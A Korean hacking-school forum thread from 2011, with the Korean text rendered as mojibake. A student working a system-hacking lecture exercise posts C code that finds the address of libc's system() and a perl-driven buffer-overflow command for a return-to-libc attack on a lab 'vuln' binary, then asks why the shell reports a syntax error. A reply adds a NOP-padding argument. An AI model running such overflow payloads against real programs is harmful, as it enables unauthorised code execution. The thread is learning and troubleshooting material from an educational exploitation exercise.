½Ã½ºÅÛ ÇØÅ·

 1576, 1/79 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   vbvbdldh
   ½Ã½ºÅÛ ÇØÅ· 23°­¿¡¼­ sh: syntax error near unexpercted token '(ÀÌ»óÇѹ®ÀÚ)'

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1549 [º¹»ç]


--------------------------------------------------

[student@localhost chapter_21]$ /bin/bash2

--------------------------------------------------

--------------------------------------------------

[student@localhost chapter_21]$ export PATH=$PATH:.

--------------------------------------------------

-------------------------------------------------------------

[student@localhost chapter_21]$ cat > addr_of_system.c
#include <dlfcn.h>

int main()
{
   long addr;
   void *handle;

   handle = dlopen("/lib/libc.so.6", RTLD_LAZY);
   addr = (long)dlsym(handle, "system");
   printf("system() is at 0x%x\n", addr);

}
(ÄÁÆ®·²+D ÀÔ·Â)
[student@localhost chapter_21]$
[student@localhost chapter_21]$ gcc -o ./addr_of_system addr_of_system.c -lc -ldl
[student@localhost chapter_21]$ ./addr_of_system
system() is at 0x40058ae0
[student@localhost chapter_21]$

--------------------------------------------------------------

-> systemÀÇ ÁÖ¼Ò¸¦ ¾Ë¾Æ³½ µÚ
----------------------------------------------------------------------------------------------------------

[student@localhost chapter_21]$ ./vuln `perl -e 'printf "A"x84 . "\xe0\x8a\x05\x40"'`
your input is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@
sh: ?풠?? command not found
Segmentation fault
[student@localhost chapter_21]$

----------------------------------------------------------------------------------------------------------

À§¿¡ ¸í·ÉÀ» ÃÆÀ»¶§ °­Á¿¡¼­´Â À§ ó·³ ¶ß´Âµ¥ ¹ÝÇØ Àú´Â ¾Æ·¡¿Í°°Àº ¹®±¸°¡ ¶å´Ï´Ù.

your input is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(ÀÌ»óÇÑ ¹®ÀÚ)
sh: syntax error near unexpercted token '(ÀÌ»óÇѹ®ÀÚ)'
sh: -c: line 1: '(ÀÌ»óÇѹ®ÀÚ)'
Segmentation fault

¾î¶»°Ô ÇØ¾ß °­ÁÂó·³ µÉ ±î¿ä?

  Hit : 4056     Date : 2011/12/13 03:05



    
phpmyadmin ¿î³ª»Ú°Ôµµ °ýÈ£°¡ ÆÄÀÏ¸í¿¡ Æ÷ÇԵǼ̳׿ä... µÚ¿¡ ÀÎÀÚ¼ö¸¦ ´Ã¸®¼Å¼­ ½ºÅÿµ¿ªÀ» ´Ã¸®½Ã¸é systemÇÔ¼ö°¡ °¡¸®Å°´Â °ªµµ ´Þ¶óÁú¼öÀÖ½À´Ï´Ù. 2011/12/27  
phpmyadmin ex) ./vuln `perl -e 'printf "A"x84 . "\xe0\x8a\x05\x40"'` `perl -e 'print "\x90"*260'` 2011/12/27